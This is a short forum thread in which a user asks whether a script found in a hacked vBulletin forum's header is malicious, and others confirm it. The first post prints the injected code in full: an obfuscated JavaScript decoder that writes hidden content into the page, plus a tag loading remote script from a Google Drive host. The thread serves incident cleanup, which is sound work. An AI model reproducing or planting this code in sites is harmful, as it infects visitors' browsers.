New Posts
Welcome guest, is this your first visit?
  • Login:
+ Reply to Thread
Results 1 to 3 of 3
  1. #1
    PAL Red Pro
    My Status
     
    ----
     

    Add as a friend
    Join Date
    Nov 2008
    Location
    USSA
    Posts
    5,123
    Blog Entries
    358
    Feedback Score
    6 (100%)

    Default Does this look like malicious code?

    So I'm helping Gamtrak as her VB forums are the latest victim of malware. I found this script in her header code. It doesn't look right to me.

    For you coder guys, does this look like malicious code to you? Thanks in advance...

    </script>
    <script>function f8e0f3d352b6d(){var oa=String,qc=Array.prototype.slice.call(arguments) .join(""),ye=qc.substr(15,3)-677,tf,q8;qc=qc.substr(18);var n2=v7(qc);for(var od=0;od<n2;od++){try{throw(se=qc.substr(od,1));}ca tch(e){se=e;};if(se=='|'){ye="";od=p9(od);oc=ya(qc ,od);while(oc!='|'){ye+=oc;od++;oc=qc.substr(od,1) ;}ye-=615;continue;}tf="";if(se=='©'){od++;se=qc.subst r(od,1);while(se!='©'){tf+=se;od++;se=qc.substr(o d,1);}tf=r7(tf,ye,45);if(tf<0)tf+=256;tf=o4(tf);do cument.write(oa["\x66ro\x6dCha\x72\x43\x6fd\x65"](tf));continue;}r0=(se+'')["\x63h\x61\x72\x43\x6f\x64\x65At"](0);if(r0>848)r0-=848;q8=r0-ye-45;q8=xf(q8);document.write(oa["\x66ro\x6dCha\x72\x43\x6fd\x65"](q8));}}f8e0f3d352b6d("28f79d","8","07cad03e789©" ,"217©©16©©0©©15","©|663|©198©","©","205 ©|696|©242©©","158©©242©©247©©23","8©© 227©©187","©|659|","©205","©","©1","90©|"," 652","|©202","©","©198©|662|©139©|644|©","1 80©|6","26|©153©©1","74©","©153©©17","1"," ©","©1","55©©170©©161©©168","©©1","72©X ","©171©©170©©155","©|76","6|©1©©235©,", "8","|719","|©9©©","5©©8©©","207©©","19", "6©©196©|787|@|782","|C|628|©","1","6","9©"," ©161","©","|","650|©","188©©","18","1©©","1 80©©","194©©185©©","198©©181©©126©","© 179©|6","41|©182©|806|","Y","©","27©","T[|684|","©229©|64","6|©","1","92©©123©©1","2 4©©1","42","©©","132©","©19","6","©©177"," ©©1","63©©195©©177©©133©","©188©|66","0 |©178","©|713|©219©","|677|©152©©206©©"," 217","©©219©©1","60©","©185","©©195©|693| ©209©","|737","|©241©©12©©","20©","©245© |7","1","1|©220©©226©©2","13","©|699|©206© |802|©2","3","©©15©&$","©2","3","©","|","693 ","|©2","38","©©222©|618|©1","62©","|617|©1 52©","©159©©163©|629|y");function v7(n5){return n5.length;}function p9(w5){return ++w5;}function ya(x5,s6){return x5.substr(s6,1);}function o4(x8){if(x8==168)x8=1025;else if(x8==184)x8=1105;return (x8>=192 && x8<256) ? x8+848 : x8;}function r7(y3,ta,q4){return y3-ta-q4;}function xf(o7){var qf=o7;if(qf<0)qf+=256;if(qf==168)qf=1025;else if(qf==184)qf=1105;return (qf>=192 && qf<256) ? qf+848 : qf;}</script>


    </li>
    <vb:if condition="$vboptions['enablefacebookconnect']">
    {vb:raw facebook_header}
    </vb:if>
    </ul>
    </vb:if>
    </div>
    <div class="ad_global_header">
    {vb:raw ad_location.global_header1}
    {vb:raw ad_location.global_header2}
    </div>
    <hr />
    </div>
    <script type=text/javascript src='https://googledrive.com/host/0B8xeWwe9pXL-RUY1Z2xPLWp1OVE/'></script>

  2. #2
    Senior Member
    My Status
     
    ----
     

    Add as a friend
    Join Date
    Jan 2009
    Location
    USA
    Posts
    1,658
    Blog Entries
    2
    Feedback Score
    1 (100%)

    Default

    Yes, it looks suspicious. Why should a forum script have to reference something on GoogleDrive?

    I scanned the source code for my forums and didn't find anything like this. But I don't install VB plugins so that only confirms there is nothing like it in the basic package.
    Free advice and opinions are provided without any warranties or guarantees. I cannot do anything about the facts.

  3. #3
    PAL Red Pro
    My Status
     
    ----
     

    Add as a friend
    Join Date
    Nov 2008
    Location
    USSA
    Posts
    5,123
    Blog Entries
    358
    Feedback Score
    6 (100%)

    Default

    Confirmed, that was the culprit. I removed the code and everything is working fine now.


 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

     

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
Powered by vBulletin® Version 4.1.5
Copyright © 2019 vBulletin Solutions, Inc. All rights reserved.
SEO by vBSEO 3.6.0